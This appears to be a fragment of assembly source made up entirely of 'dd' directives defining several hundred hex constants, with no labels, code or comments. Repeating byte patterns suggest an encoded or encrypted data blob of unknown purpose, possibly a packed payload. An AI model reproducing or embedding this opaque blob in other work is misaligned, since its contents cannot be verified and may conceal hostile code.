dd 9FECDE89h, 0E9A4E647h, 56B4EEC4h, 56EA4432h, 0BF75B1CAh
dd 56BAB120h, 3DCD512Ah, 552D791h, 5D578EB4h, 50CF5FACh
dd 56D53B76h, 56EAA5DBh, 8A360D32h, 6FBB40B8h, 24584F05h
dd 0B3D0C49Bh, 91CFC92Ah, 56BF58ADh, 0F714B132h, 8B6A099Dh
dd 4053F305h, 3AC9474Ah, 883B94D4h, 56AEF048h, 565A5952h
dd 0F50FB132h, 8624BA1Bh, 0AF78780Fh, 0BF30C806h, 56BAB13Eh
dd 5B51AC0Bh, 0B46974E9h, 0A5AAB8EAh, 4442D068h, 0D0D5B132h
dd 0FEB2C513h, 97CC61BFh, 274AC1D9h, 6AC0CFEFh, 0BFAEB12Ch
dd 5657B13Ch, 5B9595Dh, 4B858BEEh, 6BCB906Fh, 5675B762h
dd 0E9DCD1CAh, 0D652A32Eh, 56AEB136h, 0A85B0E54h, 0BFABB153h
dd 56D5B126h, 8500AC45h, 80570297h, 5AC22D78h, 0B23BAA2Ch
dd 3BF380DAh, 3037B132h, 30AF1C8Ah, 36B477B9h, 0BC6BD760h
dd 592F7C7Bh, 56DB668Dh, 565B5832h, 421CB132h, 6E09A307h
dd 0AEABB1C7h, 5D3CB132h, 48EAB132h, 661DC7BFh, 0B8813AFEh
dd 565DA04Dh, 5524BE52h, 5957B132h, 0DDCD6E85h, 56D5D0C1h
dd 0AAEAB1CAh, 5F9CB132h, 0AABAB132h, 0C4B931DBh, 63811F4h
dd 36AFB132h, 10F356B3h, 7764DFC6h, 0A3EAB153h, 0D77AB132h
dd 56BAB123h, 565DBDDBh, 67340332h, 21BFCB4Dh, 3EBDA77Eh
dd 59D5B1E2h, 56EAB0BAh, 56754D32h, 56BB303Dh, 0AEA4B132h
dd 0DDA1B132h, 5657B126h, 56ABBEDBh, 0C997B732h, 7F205BBh
dd 3028B1D3h, 5903D734h, 365DB1CBh, 0D8A16FB8h, 5657B133h
dd 56ABD0CEh, 56D5A3DBh, 43AF6A32h, 1D4E271Fh, 0F6A12142h
dd 0E5B6AB27h, 56563D1Ah, 56585832h, 92A9B132h, 30F19732h
dd 0B87DA7CDh, 2B2A7411h, 0BFBAB195h, 565DB123h, 8BFB4382h
dd 5C959488h, 8077FE9Ah, 9BA88C6Eh, 0A3EAB15Eh, 5915B132h
dd 56BAB3BDh, 59873A32h, 56CF4B8Dh, 56475832h, 0FEFB132h
dd 64372012h, 6E4C1FDBh, 2F3CB4BDh, 56BA5C72h, 5655363Dh
dd 0DBA1B132h, 5657B130h, 56ABD052h, 36D5B1CAh, 9E6EAB89h
dd 568DD06Dh, 56AB5832h, 0C17B132h, 0E308C473h, 7A8667Ch
dd 35FBB18Ch, 56B2B2AEh, 5163BE32h, 5975B132h, 56BAB0B1h
dd 565D4432h, 56AEA0DBh, 626DF932h, 0C7B34592h, 160A25B8h
dd 0BEB5BB61h, 5675DC10h, 59BAB1CBh, 565DBDBCh, 5023BE32h
dd 5957B132h, 56ABB1BBh, 0A3D5B132h, 5B03B132h, 0B875B132h
dd 4ECA523Ch, 0B5A8A42Fh, 0E2E59E13h, 56A2B132h, 56A05832h
dd 0CF80B132h, 121D78BAh, 5A8F7307h, 56BA4852h, 0AF5DB1CBh
dd 5347B132h, 4657B132h, 0C45DF80Ah, 562DB132h, 368AD132h
dd 8FF4D753h, 0BEDB7CDBh, 565DB134h, 0C758272Ch, 370C2CCAh
dd 0DFA4B132h, 56D5B135h, 56EB3F3Dh, 5689B132h, 30E9D132h
dd 9A6EE89h, 0BC2ED153h, 2D150850h, 56CA9E7Dh, 56D05832h
dd 0EC96B132h, 3608409Ch, 476D3054h, 0A5D6D76Fh, 59AEB153h
dd 5657B0B8h, 56AB4432h, 56D5BBDBh, 2E4A832h, 0CD5F0AEAh
dd 56C0B0F2h, 0D73D4D32h, 7F68C1E3h, 0DBF3156h, 59ABB153h
dd 56D5BBB9h, 0DBE5D132h, 5675B132h, 56DBE963h, 40DABE32h
dd 36AEB132h, 5657B8DBh, 0B26CE632h, 5A5F0849h, 0DDE58522h
dd 5675B132h, 59BAB153h, 565DB4BEh, 0DDC8D132h, 5657D0C5h
dd 36ABB1CBh, 0EFB369B9h, 568B1BB5h, 56754932h, 56BAB4DBh
dd 971AB932h, 0DBA1E2DBh, 5657B133h, 0A3ABB1CEh, 5A3CB132h
dd 0EAEAB132h, 0BDF8B469h, 0B21DE3EEh, 5678DC69h, 56A05832h
dd 36F8B132h, 0C0C6830Ch, 5342E249h, 6F88A6B3h, 5675A1DBh
dd 0B0714B32h, 746DEF28h, 0F5C18B17h, 0EE7544F8h, 59ABB18Fh
dd 56D5B6B2h, 5763BE32h, 0AF75B132h, 0BFBAB1CEh, 565DB126h
dd 3B102579h, 0E9FB9838h, 3A9DB056h, 0FCF3BF89h, 3212A3A5h
dd 469CB132h, 35BAB132h, 0E088FB4Bh, 68C0E71Dh, 0ABB07302h
dd 56C56903h, 56D54932h, 32003152h, 56146BB9h, 56BD5832h
dd 0A4FDB132h, 0DF0DF5D7h, 3657B1A2h, 2E493054h, 56D359A4h
dd 835BB132h, 261EAE99h, 56BA3F3Dh, 3705B132h, 3652B132h
dd 5654363Dh, 0E9A4B132h, 56C658F8h, 91AB132h, 57CA1E4Ch
dd 1744EACDh, 0DFF5C503h, 5130F34Dh, 5657D00Ch, 56AA353Dh
dd 562CB132h, 5766BE32h, 0AA75B132h, 5D53B132h, 1F5DB132h
dd 5B0E5A6h, 0E396EA7Ah, 56ABBA3Dh, 56D25852h, 52FFB132h
dd 0DA0C7C0Ah, 9005BEC9h, 0AE5DB153h, 56AEA1DBh, 61C6A32h
dd 5AE076B6h, 0B7E8C951h, 25A9D006h, 0A375B139h, 56BABCDBh
dd 42A74B32h, 9DD068Fh, 0AC280029h, 56AB6D95h, 56D5BCDBh
dd 0AEC56932h, 81C6F929h, 0A1BE4BB8h, 565DCBABh, 56AEA3DBh
dd 7D586432h, 300F0C29h, 924CE84Dh, 0C5445D23h, 56EA4F43h
dd 56B55832h, 16EDB132h, 94CA9B88h, 132414A1h, 54715D0Fh
dd 0BFD5B1F6h, 56EAB120h, 4C6D66F3h, 89A10C62h, 256760F3h
dd 0D437DEE2h, 5657FEBDh, 56AA393Dh, 5620B132h, 0EC8CD132h
dd 5614DC23h, 4553D132h, 315DB132h, 8242C6BAh, 0E38F4F72h
dd 0ED147872h, 0D45255E1h, 0E98C020Fh, 5914C5E2h, 56BABDBAh
dd 50D6BE32h, 59AEB132h, 5657B1BCh, 59ABB132h, 56D5BDB4h
dd 5069BE32h, 5975B132h, 56BAB1B5h, 565D4932h, 56AF3F3Dh
dd 56AEB132h, 5343D132h, 0B7D5B132h, 335FE93h, 5675A2DBh
dd 0C0307A32h, 5759188h, 0FB631560h, 16BF3C82h, 677EE6F0h
dd 0D9DAE06Ch, 56EAB132h, 5675D069h, 36BAB1CAh, 0BF85063Dh
dd 56AEB138h, 0C4E962C7h, 6781D83Ah, 56B4815Dh, 5763BE32h
dd 0AA75B132h, 0DCDAB132h, 565858DDh, 70DCB132h, 3747E5B4h
dd 5652B132h, 5058BE32h, 36EAB132h, 3715A380h, 0BFBAB153h
dd 565DB13Ch, 0C5F3F676h, 0FE38C81Ch, 3BB27388h, 56D54DD9h
dd 0BFEAB1CEh, 5675B126h, 2A9820D2h, 0BF415BAEh, 0BC7C0AD2h
dd 19C686C0h, 71282C7Dh, 36B5B132h, 372D063Dh, 5675D0C7h
dd 56BAA3DBh, 70369432h, 0CCE3B35Fh, 0A771C610h, 0BCAA6157h
dd 56560DFDh, 5763BE32h, 0AE75B132h, 0DFB5B132h, 565DB12Ch
dd 145C3152h, 5657A5DBh, 541732h, 0F42DF14Ch, 0E1805F9Eh
dd 0E42B3D74h, 2BFECE49h, 565DD0FCh, 37CEE052h, 54D3BE69h
dd 0ABB132h, 56D5D06Dh, 56EB333Dh, 568CB132h, 56BA4D32h
dd 565DBADBh, 51F6D832h, 0FB726BAh, 0DEB8BC66h, 59B5B132h
dd 0D8E57885h, 5675B130h, 56DBD052h, 5FB44932h, 0E7AEB132h
dd 7EE0DDC0h, 94765CB2h, 0AEB5B132h, 37737AB2h, 519CB132h
dd 79BAB132h, 8A7D5F70h, 56AEA043h, 0A3E9E652h, 0EABD11Eh
dd 56D7353Dh, 378AB132h, 0D5C5D153h, 93610A54h, 365DB153h
dd 56AEBCDBh, 127A1232h, 8B68BD99h, 473B847Ah, 308A8EE4h
dd 9D9573B3h, 0DE7C3054h, 563CD052h, 56AB5832h, 7DC7B132h
dd 56E5D288h, 56204432h, 56FA5832h, 2A6B132h, 0DC85013Dh
dd 0EEC7F2E0h, 32E737F7h, 59BEB529h, 85ABB132h, 12811B57h
dd 0F8A46B82h, 4F30360Fh, 56BA1CDCh, 0A35DB1CAh, 6CEB132h
dd 3636486Ah, 37D007CEh, 443CB132h, 3EEAB132h, 579F4A73h
dd 85D4544Eh, 57FC6A1Bh, 56032C7Bh, 0A357B19Bh, 4642B132h
dd 4ED5B132h, 0EA5DD1CCh
dd 3D3E7599h, 0F32F63EEh, 568A2637h, 56AE4D32h, 6EFD752h
dd 0B52AD7B5h, 56B45F91h, 56EA4D32h, 5975B1C7h, 56BABBBCh
dd 0DE52D132h, 56AEB132h, 563679B9h, 0D7A4D132h, 56D5B132h
dd 56EA4853h, 56743D3Dh, 564FB132h, 0D752D132h, 56AEB132h
dd 56D9BE52h, 36ABB132h, 56B4D053h, 56E15832h, 3836B132h
dd 21239BB3h, 17D8F5F5h, 36AEB15Ch, 375C55B2h, 0D6A4B132h
dd 56D5B13Bh, 0E9B2E652h, 8359F76h, 36BAB153h, 98D6D764h
dd 8D2FD76Bh, 56365928h, 56AB4432h, 56DB5952h, 0BADBB132h
dd 0A8102EFCh, 88B60919h, 5950A972h, 56AE3D3Dh, 300DB132h
dd 2A8B63B3h, 0AFD5B153h, 0AF12B132h, 0DE7AB132h, 56BAB138h
dd 3AB53052h, 49FA7B4h, 5657D068h, 862AE152h, 75E09319h
dd 8E5DBE69h, 0A375B153h, 0E5DAB132h, 0F0DD1B9h, 56AED053h
dd 565B343Dh, 5142B132h, 79D5B132h, 37AFBC0h, 0DA7AFAC1h
dd 56BAB135h, 565C393Dh, 5657B132h, 56574432h, 5020BE52h
dd 59D5B132h, 56EAB1B3h, 5689D032h, 56B35832h, 72BB132h
dd 5835D9E5h, 562EA5F4h, 5E26BE32h, 59D5B132h, 56EAB3B5h
dd 5614D132h, 4532BE32h, 0BF5DB132h, 56AEB13Ch, 0C5DC35A6h
dd 1CCBEEh, 41836734h, 56EA3FD3h, 8CFED752h, 0A805BE64h
dd 565DD068h, 56AEBCDBh, 8501BB32h, 6DF2B023h, 4652A386h
dd 56EA308Bh, 0BF75B1C7h, 56BAB13Ah, 0C4DB0D96h, 4D455392h
dd 42BEB132h, 0BDABB132h, 33A51704h, 0DAA8E41Bh, 59AC3AA8h
dd 1E915F5Dh, 56EB1C91h, 56A75832h, 0B057B132h, 0CC9C94C3h
dd 0A3B19F76h, 56024452h, 0C75B132h, 0E3545BB3h, 0E53DB932h
dd 0D7C8D126h, 36DB9DE9h, 59CAD053h, 56D5A8B3h, 56FE5832h
dd 7DBAB132h, 545A2B69h, 0EC19BB0h, 2FD515F2h, 0C78D4440h
dd 59CB3466h, 56D5B7BBh, 0A1193032h, 0BF492EC4h, 56BAB13Bh
dd 3CC7349Dh, 5B66AD89h, 0D3DAD00Dh, 51540A5Fh, 56D5B8DBh
dd 2A6CCF32h, 0FA2A1F32h, 0D4337F27h, 5E5D2FABh, 56A23A3Dh
dd 0DE58B132h, 56ABB134h, 56D5333Dh, 0D467B132h, 5E74EA8Dh
dd 56BABADBh, 0C3038832h, 2D1904CBh, 297218B0h, 0C80633BBh
dd 0D3DAB932h, 56EAB12Bh, 23973052h, 0BF9028DBh, 565DB13Eh
dd 0F105959h, 5F3F8478h, 0C61D7DDFh, 62435953h, 0DBE5B132h
dd 5675B124h, 56BAA0DBh, 13341C32h, 2F0043B9h, 975528DDh
dd 0CEC9F5ACh, 30B516C3h, 0DD8C7EB9h, 789DD0CBh, 0BFBAB130h
dd 565DB139h, 0F39D3D83h, 7BB92861h, 91316013h, 564BB1B0h
dd 56EAB13Ah, 589CD132h, 0DCBAB132h, 75C01E5Eh, 96E7EB70h
dd 4D6C77DDh, 0BC2BE69Fh, 4B4EE51h, 56FD3E3Dh, 449CB132h
dd 0B1BAB132h, 4196807Ch, 0AD3D690Eh, 1F86BF5Eh, 6D727E7Fh
dd 33507706h, 0ED4B34h, 0EE27D9CBh, 0A94F2D9Ah, 0AC7D2487h
dd 5729BE35h, 0AF57B132h, 56A15952h, 4B11B132h, 17828C1Bh
dd 2A745BC9h, 79A77C8Dh, 0D852EE61h, 56AEB133h, 0D3DAD0C7h
dd 515612EFh, 0D7B3D1CAh, 15C84F5h, 5675B9DBh, 6EA04132h
dd 787FEAA1h, 0A9CFE8C8h, 565F58E2h, 0E024B132h, 107FCED3h
dd 0D363736Bh, 518F9B07h, 56BABDDBh, 50966B32h, 0C4968203h
dd 0C5683EC0h, 0AFAFDB02h, 56C5B15Ah, 56ED5832h, 0F742B132h
dd 86D6D4F7h, 5B1DD9DCh, 3C5BB131h, 86A84D32h, 56A3373Dh
dd 0DEDAB132h, 56EAB130h, 592FD052h, 56BAB9B2h, 54D9BE32h
dd 36AEB132h, 5997BA53h, 56AB56B6h, 0B854D132h, 7E8F1807h
dd 0F7A33054h, 0DF4FD016h, 56C3B1B0h, 0D427483Ah, 5E572F2Ah
dd 56ABB6DBh, 9533D332h, 0C261160Dh, 5578F18Bh, 0AE314932h
dd 565C323Dh, 655BB132h, 94D6D1F2h, 5D4BACC4h, 37253A54h
dd 41F1BC1h, 566C373Dh, 0D3B5B132h, 565DB121h, 56AEBFDBh
dd 0A29C5132h, 0A90A00B7h, 1F515309h, 596F3F68h, 5675BEBFh
dd 0DDDCD132h, 565858E2h, 2520B132h, 37BE96D6h, 3E57B558h
dd 56D5A132h, 56ED5852h, 0BD32B132h, 481D6DFCh, 17E6D72Eh
dd 56C6D077h, 0BF57B136h, 56ABB13Eh, 0A22E0A55h, 2B011DC7h
dd 0BF2864E9h, 4553B158h, 4A5DB132h, 0B0C80C0Fh, 6AAE7B7Dh
dd 8F5A83E8h, 0BC0F35B7h, 0C415C978h, 518F9B07h, 56BABFDBh
dd 92BDFD32h, 2AB54D5Ch, 0C59302F5h, 0C185F15h, 0E55738C7h
dd 0AAE2B192h, 40FFBE53h, 0BFBAB132h, 565DB123h, 2F5BBA3Fh
dd 2D240216h, 0F70B166Ch, 3787CFEAh, 566F3A43h, 0A37DB1ACh
dd 56B158F1h, 0AF3BB132h, 6EE5B292h, 38717BC8h, 5A42D1BCh
dd 19D5B132h, 790FAED7h, 0F87A23BDh, 91FBACDEh, 0AC5FB0B0h
dd 16AEB135h, 0D4904432h, 51518477h, 56D5A132h, 56EABFDBh
dd 95349132h, 867728F2h, 0CE1F184Bh, 370C22E3h, 0E53772CAh
dd 37CAD12Dh, 0BFB5D152h, 56EAB13Dh, 0CF65163Ch, 0FFA61B8Fh
dd 0C3A734FDh, 37C70D0Fh, 87DCD752h, 56AB3F3Dh, 37B4B132h
dd 0C8EA0BB9h, 0DF7AB932h, 56BAB133h, 566232CEh, 5601353Dh
dd 0D5ABB132h, 59A9A14Dh, 56D5FFB6h, 0BE6BD132h, 1837ACA8h
dd 56BAB7DAh, 68837332h, 0DC69AF92h, 0D536EFF9h, 59AFA14Dh
dd 56D5E9B6h, 56E75832h, 79EFB132h, 0C5F0B618h, 0F4017C5Fh
dd 0D5440D5Ah, 58BEA5F5h, 0B5ABB132h, 0F275DA7h, 3E7F86E4h
dd 0C450FB5Bh, 0A925586Fh, 91A84ECDh, 56AFA175h, 0D558B132h
dd 56ABB123h, 56D5BDDBh, 0C5C47C32h, 192919C3h, 0F46F2F52h
dd 0A99C58D5h, 30CE4ECDh, 67EE47B3h, 46EC7653h, 56D5B131h
dd 56EC5852h, 85F9B132h, 0C0870655h, 0BF3C66B8h, 0A9514EADh
dd 5657BADBh, 0C979FF32h, 142DD12Bh, 0A089D323h, 0D37AD0C7h
dd 56BAB133h, 0BF9E4DCEh, 56AEB139h, 562F4133h, 0CD2B3778h
dd 3021BD4h, 56E43E3Dh, 5F9CB132h, 0B1BAB132h, 851CA14Dh
dd 34E8B4F8h, 59BE5DB9h, 0EBABB132h, 0CE9C8AFh, 0F8957431h
dd 269B6EEh, 53532CD4h, 3B5DB132h, 0EFEF87FEh, 57D4BE52h
dd 0A3ABB132h, 56D5B1DAh, 0BC6BEB32h, 5E750BBAh, 56B058C7h
dd 2654B132h, 65F1EAFCh, 0AA8DFF3Ch, 0F66703B9h, 30B5B932h
dd 0D0E57FB9h, 5675B136h, 0D5E90E54h, 57D5BE53h, 0AEAEB132h
dd 0BF5FF4B9h, 56ABB138h, 61076748h, 0BC00CB43h, 50FC0448h
dd 56A1333Dh, 0BF3DB132h, 56AEB123h, 36B9336Ch, 3C4C9875h
dd 0D6E2EAD4h, 4FB46410h, 12AE31E3h, 9A383253h, 5255B192h
dd 5E47D0CAh, 6E57B132h, 3880F40h, 9F881BB6h, 56EABADBh
dd 0CCDD7E32h, 50CDB38Dh, 0AE5FF717h, 56A45852h, 0D411B132h
dd 0E43A21F4h, 0E40E35D6h, 0D01CC989h, 52B7D053h, 0D7DCD132h
dd 0AE3650FDh, 4547D153h, 5357B132h, 606E9910h, 0C0681C3Ah
dd 872584B9h, 0B62647AAh, 0E9DAFD77h, 535385CCh, 5624BE62h
dd 0C57B132h, 56AB5953h, 0D78FB132h, 5651D4D8h, 52F7BE3Ah
dd 36BAB132h, 0BF3CD052h, 56AEB13Dh, 741FC5A3h, 0CA8103Fh
dd 37EC8252h, 0DD4993BCh, 56D50280h, 37DAD13Ah, 37AF0E3Dh
dd 0F6620309h, 0D258B932h, 56ABB0B2h, 59EB3ACBh, 56EABFBDh
dd 567C5832h, 0E522B132h, 4D8DCE95h, 59450CD2h, 5657B0B1h
dd 89204832h, 1963BEC7h, 56E75833h, 15A4B132h, 6E159051h
dd 25CC22FCh, 0A03D6F43h, 59D7B075h, 56ABF6B7h, 56DD5832h
dd 69E0B132h, 0F3353056h, 8FB90D70h, 43D6BECAh, 0BFAEB132h
dd 5657B122h, 31403FDAh, 5728C62Dh, 458D9EBFh, 2018A398h
dd 56BAACDBh, 50D2BE32h, 36AEB132h, 0A8DC7AB9h, 56AD5853h
dd 1BF4B132h, 0A1868305h
dd 0DD156819h, 59F9D0C8h, 565DB6BFh, 0A62ED132h, 37D0050Dh
dd 5321BE71h, 36D5B132h, 37333A54h, 5667313Dh, 5B53B132h
dd 195DB132h, 2643D49Eh, 0BF2C0590h, 6A86BA77h, 72FC34B9h
dd 0BE8AB6C8h, 5675B126h, 0B9509056h, 2967A4F2h, 7758D7FFh
dd 10D4F7B6h, 688A4172h, 308A5A85h, 368B6EB9h, 5673373Dh
dd 0D9B5B132h, 565DB132h, 37593A54h, 62923CB9h, 6D5EB6C8h
dd 1D57BEEAh, 0BFEAB132h, 5675B138h, 0A2D9D9BDh, 0B84682Fh
dd 5847D677h, 8357B132h, 82FA4441h, 0D315CE25h, 0C45462C7h
dd 59AC8A3Ah, 56BA90B5h, 47B44D32h, 75AEB132h, 567125A1h
dd 0CF1C021Ah, 432D6888h, 2B9F7FD0h, 0AF7177B1h, 0A94412DBh
dd 996649CDh, 5688353Dh, 0DFAEB132h, 0AC9F748Fh, 0D63C4435h
dd 0BF154ECCh, 5675B126h, 66ED4630h, 7084F117h, 0E39D2D41h
dd 5C1CF41Bh, 391E10F5h, 56D95853h, 0DA9AB132h, 0C2CAAD92h
dd 310F1880h, 599EF74Bh, 56AEB0BBh, 36374832h, 12D7CBh
dd 563DD019h, 0CEAB132h, 0EB3F5BB3h, 0ECDAB932h, 40A6CC37h
dd 8683B63h, 56505853h, 0DAFFB132h, 0F5329976h, 591FD1F0h
dd 5675B7B5h, 4B7D3032h, 37525DA4h, 0F61D0BB9h, 0EF37B932h
dd 357E60C6h, 56D5393Dh, 0EF8BB132h, 5675B032h, 0BF7A82C7h
dd 565DB122h, 844A71AAh, 7DD56C1Fh, 3647F23Eh, 2363DAA7h
dd 0D8E51AC1h, 5675B139h, 5630BE52h, 595DB132h, 0DDCF4385h
dd 56F702B0h, 512DBE3Ah, 36D5B132h, 0E9E5D052h, 0D4FCD0C8h
dd 5EBA11FEh, 0D752D0CEh, 56AEB13Bh, 300CE252h, 3D068B3h
dd 5C3C7253h, 0B9EAB132h, 0B40A5837h, 8269DA52h, 593D446Bh
dd 56AEBCB0h, 565F5832h, 8B00B132h, 0FF3CF692h, 56028360h
dd 0C75B132h, 0E8B45BB3h, 58B4B932h, 0DAAEB132h, 0D45EC6C9h
dd 5A8778ADh, 0D8ED5E20h, 0D32C4889h, 518FB757h, 0DCB5D164h
dd 565DB134h, 131E7EB3h, 0BE37AE22h, 56ABB13Ch, 6BB9D1FFh
dd 8E891DFFh, 0BEF6E1D2h, 59E518D4h, 373C418Dh, 49C3885Ah
dd 57D5BEE6h, 0A3ABB132h, 764004CDh, 0BF8AB6C8h, 5675B120h
dd 0CDB80A02h, 4351B44Ah, 0D2B8AB9Ch, 4E4E168Fh, 851D634Eh
dd 8B503C53h, 36ED4C91h, 5675A5DBh, 0DCF51732h, 8C32CA70h
dd 1AD6EDD1h, 589129B3h, 842D4D39h, 862AD035h, 56EAB6DBh
dd 3C06C532h, 7E7C7B28h, 303DD160h, 6ACB41B3h, 0E936E960h
dd 6524DAC1h, 3E29E153h, 56EA3132h, 567F373Dh, 5353B132h
dd 0AE5DB132h, 76F4F220h, 0AE57DBC7h, 56ABA3DBh, 91106A32h
dd 0ABE369D0h, 73AE2C1h, 0EF3C04DCh, 0A91ED95Dh, 5630B180h
dd 565F583Ah, 0A309B132h, 93F7A1B8h, 598A0E4Ah, 5675B4B6h
dd 0DB250B32h, 0A93CCB27h, 59F644E2h, 5657B0BBh, 36F14832h
dd 371B063Dh, 566AB15Ah, 567A5832h, 692EB132h, 0B92D61BCh
dd 1320AB44h, 5A0CD418h, 4129BEA1h, 36D5B132h, 56EABBDAh
dd 8F315A32h, 5A5E0B20h, 0C470498h, 9F658Ah, 563DD05Eh
dd 0E5194ECBh, 0BFDDB192h, 56EAB122h, 9BFC2749h, 0D8CB72F2h
dd 78C37A80h, 7C48AAACh, 63761CDh, 37CA446Ch, 56C03D3Dh
dd 598AB132h, 5675B1B5h, 56B25832h, 524AB132h, 0B95D0880h
dd 5936C641h, 56ABB6B3h, 5752BE32h, 0AAEAB132h, 0D713D1F1h
dd 0BF9978E8h, 565DB13Ch, 0B81C7299h, 72C99062h, 0E1EB522Ch
dd 36B4E6AEh, 56EB313Dh, 3780B132h, 5130BE67h, 595DB132h
dd 56AEB0B8h, 0BADC4932h, 56ABA1DBh, 0CCC2F832h, 0C01CA496h
dd 0E236256Ch, 0D26B92A8h, 0D352D144h, 56AEB133h, 565759C7h
dd 0D7F1B132h, 5615B0D8h, 0AE8A443Ah, 5675BBDAh, 0DF53D632h
dd 0D571379Ch, 59575C16h, 370E7885h, 36A3C4B9h, 5650BE61h
dd 0DEAB132h, 37A50E3Dh, 5430BE52h, 0DD5DB132h, 37763AC0h
dd 565981DAh, 56B95832h, 0E38AB132h, 2FE99F8Fh, 0A64CC198h
dd 0F2B84B72h, 0D2F7C40Fh, 56AEBADBh, 73D56E32h, 0BA2B90E8h
dd 31AF9D1Dh, 5A6BBE67h, 5975B132h, 56BAB7BFh, 56D9BE32h
dd 0A9AEB132h, 56C928A0h, 0E1A4D13Ah, 0AEB449C5h, 56EF586Fh
dd 0C7BDB132h, 6D5BC4E8h, 0D352BD47h, 0A9514E92h, 19230852h
dd 2E13C2C2h, 37CA0F97h, 56E775DAh, 5EF3BE32h, 36BAB132h
dd 565D3F3Dh, 36CFB132h, 0F973054h, 56A6582Fh, 6F16B132h
dd 429473E3h, 0CF545463h, 3770EC4Eh, 565A5853h, 8A90B132h
dd 0FCADA985h, 504278C1h, 74D5B132h, 9608AE1Eh, 567D73FCh
dd 4653D1CBh, 415DB132h, 497D352Eh, 56AEB7F1h, 18D67537h
dd 0D7560ABDh, 6DD35CD5h, 5920D042h, 56BABBB3h, 56585832h
dd 1E50B132h, 0DD44762Eh, 0DAA4D1DEh, 56D5B134h, 0DF096EB3h
dd 8FFEEDF2h, 0AA7E3253h, 1A1E7CEh, 56A25852h, 34FFB132h
dd 0C810ED66h, 0D4CB442Ch, 0DD8C2B1Ch, 0AF26D0E5h, 56BAB1DAh
dd 0BCDCEB32h, 5EAE7066h, 0DD31E152h, 5142EBCCh, 0FED5B132h
dd 93533D45h, 59149ABFh, 56BABDBAh, 7EE3D132h, 0EDEF21C9h
dd 10C8118Ch, 5C43D153h, 60D5B132h, 0E87372DAh, 0B6B79A2Ah
dd 8505BEE8h, 0DF853169h, 5EDB3A53h, 56D5BE52h, 30ABB132h
dd 90387FB3h, 46973A53h, 615D1CAh, 5636BE6Ah, 375DB132h
dd 377C063Dh, 565F5865h, 6832B132h, 98F82CFBh, 0BFBC3F1Ch
dd 5675B126h, 8E749E4Ch, 442543D7h, 2CCE3AF1h, 0D1D32141h
dd 3494A9D0h, 56D5BEDBh, 17160D32h, 718DDA35h, 4DCB370Fh
dd 8B640661h, 56AF2FDAh, 965C4932h, 564B353Dh, 36B5B132h
dd 0D550D052h, 37258947h, 56B8333Dh, 373DB132h, 59563A53h
dd 5657BBBCh, 56AE5832h, 980EB132h, 3A978FEh, 5675A2DBh
dd 14332432h, 0FFB3EC8Ah, 0AB61A0CBh, 7C2636DBh, 0EAD947DBh
dd 0C84C23CDh, 0DD8AB932h, 0AFFED7E5h, 0DDDAEC53h, 37AF3AEDh
dd 59A2C409h, 565734B6h, 0DDA4D132h, 56D5B130h, 0D0E5E865h
dd 5675B136h, 1C8F0854h, 48D6D753h, 56A9373Dh, 0D958B132h
dd 56ABB133h, 0A63231CBh, 56EAA5DBh, 75C42632h, 430E75C4h
dd 4774A8B4h, 8537FFADh, 2CFC1B70h, 36B53BBEh, 59B56384h
dd 378B7A8Dh, 0BF8552B2h, 56BAB13Bh, 8D1DA64Dh, 0BEE1C5BCh
dd 731859C0h, 0BF5EB132h, 0A92A4FC6h, 56F2313Dh, 0D07AB132h
dd 56BAB120h, 565DBCDBh, 59531C32h, 896A07F1h, 86173F01h
dd 2B5C8DECh, 30244CEh, 598A4EC4h, 56BAB4BAh, 0E6A1D132h
dd 4547D0BBh, 0E957B132h, 7826F7D4h, 31A56961h, 618430F8h
dd 1D89B2Fh, 59E1B434h, 565DA8B8h, 4447D132h, 7057B132h
dd 38AB8D2Dh, 97833972h, 5E1CBED8h, 8DA324DFh, 59E5D046h
dd 565DB9B1h, 5426BE32h, 3657B132h, 0BFF54953h, 56D5B137h
dd 215D6086h, 0AA303A97h, 56A43D3Dh, 0D352B132h, 56AEB12Ah
dd 5657A2DBh, 0F7EE2E32h, 109216F9h, 0D6F7D42Eh, 932FA7BAh
dd 3E3436D2h, 5DDABEFBh, 0BFAEB132h, 5657B134h, 20A82CFDh
dd 5A17F7E4h, 56E75832h, 6FCBB132h, 49EC9F74h, 5684435Eh
dd 3EF6117h, 81D6D752h, 0DEA4B87Ah, 56D5B139h, 56EAB7DBh
dd 32733532h, 370159ECh, 0AEB13ACBh, 0AF5675B1h, 3037E6CAh
dd 0BEC03E88h, 56D5B126h, 3A8313BDh, 118BD8A6h, 79BAB295h
dd 1FC4C542h, 6A5A05B7h, 37092881h, 59FA4864h, 56D5B6B9h
dd 5767BE32h, 0AA75B132h, 5953E2C7h, 0AA5DB132h, 15CC8015h
dd 3AAFFB58h, 0F2CF05C7h, 1312251Dh, 56EAB1CAh, 57FEBE32h
dd 0AABAB132h, 0C9AD33F5h, 56AFB932h, 0EC37B132h, 71B34E1Dh
dd 5EA03A53h, 56EAB8DBh
dd 0DF31AA32h, 0E39F0EC1h, 0DD3B8C39h, 0DEA1D12Ch, 5657B130h
dd 8FD5F86h, 566F3A53h, 36E2B1ACh, 0D6AC0E3Dh, 0AEDB73D1h
dd 0AF55EEB9h, 0D2A16A39h, 5657B15Dh, 56A8383Dh, 0A3B5B132h
dd 59348A53h, 5675E5B7h, 5852D132h, 915DB132h, 6CEB014h
dd 0B5F18A31h, 0AEB77A7Ah, 56C658CCh, 0AEFFB132h, 5D660713h
dd 981863F1h, 43AD2507h, 0F9EBE418h, 0DD31E9EEh, 0B20D0F3h
dd 56D3583Eh, 0EF31B132h, 0C3ACD018h, 59B6EEBBh, 565DBDB1h
dd 5027BE32h, 5957B132h, 56ABB1BFh, 42123232h, 0A96C58CBh
dd 308C4ECDh, 0D643AFB9h, 0D25259C9h, 56AEB21Dh, 565F373Dh
dd 30CBB132h, 549048Bh, 0AD6AD06Dh, 4EF1BEDBh, 0AABAB131h
dd 59B64AB2h, 56ADBFB6h, 0ADD74932h, 982FBED0h, 59D5B130h
dd 56EAB0B5h, 0ADF54D32h, 0FC3EBED1h, 365DB130h, 56AEBCDBh
dd 0FFEB4C32h, 0FE5FC19Dh, 0D579C3Bh, 308BDDA1h, 0B5124AB3h
dd 5425353Dh, 44B4B132h, 17AEB132h, 0D404A964h, 99579323h
dd 1D95160Ch, 0F5E69F5h, 0A6923102h, 853BD752h, 0BFE3B99Ah
dd 37BF6064h, 0ADD6D7CAh, 0D2A4313Dh, 56D5B391h, 410A3052h
dd 593E56A1h, 56BAB1B0h, 0B5DDD032h, 0AD2E4DC2h, 0DED3BE42h
dd 59ABB130h, 56D5BDBEh, 5061BE32h, 5975B132h, 56BAB1B1h
